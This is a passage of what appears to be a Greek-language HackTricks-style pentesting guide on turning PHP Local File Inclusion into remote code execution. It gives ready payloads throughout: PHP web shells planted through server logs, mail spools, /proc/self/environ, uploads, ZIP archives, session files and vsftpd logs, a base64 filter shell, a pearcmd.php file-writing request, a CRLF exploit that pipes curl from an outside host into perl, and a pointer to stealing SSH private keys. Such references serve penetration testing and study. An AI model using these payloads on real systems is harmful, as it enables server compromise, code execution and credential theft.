  • Εκτέλεση του writer ως λογαριασμός με χαμηλά δικαιώματα και απομόνωση των καταλόγων εγγραφής από τις ρίζες που εξυπηρετούνται.

Remote File Inclusion

Explained previously, follow this link.

Μέσω αρχείου καταγραφής Apache/Nginx

Αν ο διακομιστής Apache ή Nginx είναι ευάλωτος σε LFI μέσα στη συνάρτηση include μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στα /var/log/apache2/access.log or /var/log/nginx/access.log, να τοποθετήσετε στο user agent ή σε μια GET parameter ένα php shell όπως <?php system($_GET['c']); ?> και να συμπεριλάβετε αυτό το αρχείο

Warning

Σημειώστε ότι αν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για απλά εισαγωγικά, τα διπλά εισαγωγικά θα τροποποιηθούν στη συμβολοσειρά "quote;", η PHP θα ρίξει σφάλμα εκεί και τίποτα άλλο δεν θα εκτελεστεί.

Επίσης, βεβαιωθείτε ότι γράφετε σωστά το payload αλλιώς η PHP θα κάνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.

Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά προσοχή, ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header authorisation "basic" περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.
Άλλες πιθανές διαδρομές αρχείων καταγραφής:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Μέσω Email

Στείλτε ένα mail σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?> και προσπαθήστε να το include στο mail του χρήστη με ένα path όπως /var/mail/<USERNAME> ή /var/spool/mail/<USERNAME>

Μέσω /proc//fd/

  1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD ο file descriptor (μπορεί επίσης να βρεθεί με brute force)

Μέσω /proc/self/environ

Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα εμφανιστεί μέσα στο αρχείο /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Μέσω upload

Εάν μπορείτε να upload ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εγχύσετε στα μεταδεδομένα των εικόνων/doc/pdf

Μέσω μεταφόρτωσης αρχείου ZIP

Μεταφορτώστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και προσπελάστε:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Μέσω PHP sessions

Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Στο PHP αυτές οι συνεδρίες αποθηκεύονται σε αρχεία /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ορίστε το cookie σε <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο session του PHP.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Μέσω ssh

Αν το ssh είναι ενεργό, έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο <HOME>/.ssh/id_rsa

Μέσω vsftpd αρχεία καταγραφής

Τα αρχεία καταγραφής για τον FTP server vsftpd βρίσκονται στο /var/log/vsftpd.log. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε εκτεθειμένο vsftpd server, μπορούν να ληφθούν υπόψη τα εξής βήματα:

  1. Εισήγαγε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
  2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα αρχεία καταγραφής του server από /var/log/vsftpd.log.

Μέσω php base64 filter (using base64)

Όπως φαίνεται σε this άρθρο, το PHP base64 filter απλώς αγνοεί μη-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: αν δώσεις base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Μέσω php filters (δεν απαιτείται αρχείο)

This writeup εξηγεί ότι μπορείτε να χρησιμοποιήσετε τα php filters για να παράγετε αυθαίρετο περιεχόμενο ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να παράγετε αυθαίρετο php code για το include χωρίς να χρειάζεται να το γράψετε σε αρχείο.

{{#ref}} lfi2rce-via-php-filters.md {{#endref}}

Μέσω segmentation fault

Upload ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp, στη συνέχεια στο ίδιο αίτημα, προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.

{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}

Μέσω Nginx temp file storage

Αν εντοπίσατε ένα Local File Inclusion και Nginx τρέχει μπροστά από PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την εξής τεχνική:

{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}

Μέσω PHP_SESSION_UPLOAD_PROGRESS

Αν έχετε βρει ένα Local File Inclusion ακόμη και αν δεν έχετε session και session.auto_start είναι Off. Αν παρέχετε την PHP_SESSION_UPLOAD_PROGRESS στα δεδομένα multipart POST, το PHP θα ενεργοποιήσει το session για εσάς. Μπορείτε να καταχραστείτε αυτό για να αποκτήσετε RCE:

{{#ref}} via-php_session_upload_progress.md {{#endref}}

Μέσω temp file uploads σε Windows

Αν εντοπίσατε ένα Local File Inclusion και ο server τρέχει σε Windows, ίσως αποκτήσετε RCE:

{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}

Μέσω pearcmd.php + URL args

Όπως εξηγείται σε αυτή την ανάρτηση, το script /usr/local/lib/phppearcmd.php υπάρχει εξ ορισμού σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή αναφέρεται ότι αν ένα URL param δεν έχει =, θα χρησιμοποιηθεί ως argument. Δείτε επίσης το watchTowrs write-up και το Orange Tsais “Confusion Attacks”.

Το παρακάτω request δημιουργεί ένα αρχείο στο /tmp/hello.php με το περιεχόμενο <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Το παρακάτω εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Μέσω phpinfo() (file_uploads = on)

Αν βρείτε ένα Local File Inclusion και ένα αρχείο που εκθέτει phpinfo() με file_uploads = on, μπορείτε να αποκτήσετε RCE:

{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}

Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Αν βρείτε ένα Local File Inclusion και can exfiltrate the path του προσωρινού αρχείου ΑΛΛΑ ο server ελέγχει αν το file to be included has PHP marks, μπορείτε να προσπαθήσετε να bypass that check με αυτή την Race Condition:

{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}

Μέσω eternal waiting + bruteforce

Αν μπορείτε να εκμεταλλευτείτε το LFI για να upload temporary files και να κάνετε τον server να hang την εκτέλεση PHP, τότε μπορείτε να brute force filenames during hours για να βρείτε το προσωρινό αρχείο:

{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}

Σε Fatal Error

Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Πρέπει να συμπεριλάβετε το ίδιο one 2 time για να προκαλέσετε αυτό το σφάλμα).

Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά ίσως να είναι.
Ακόμα κι αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία που ανέβηκαν διαγράφονται.

Αναφορές

{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}

{{#include ../../banners/hacktricks-training.md}}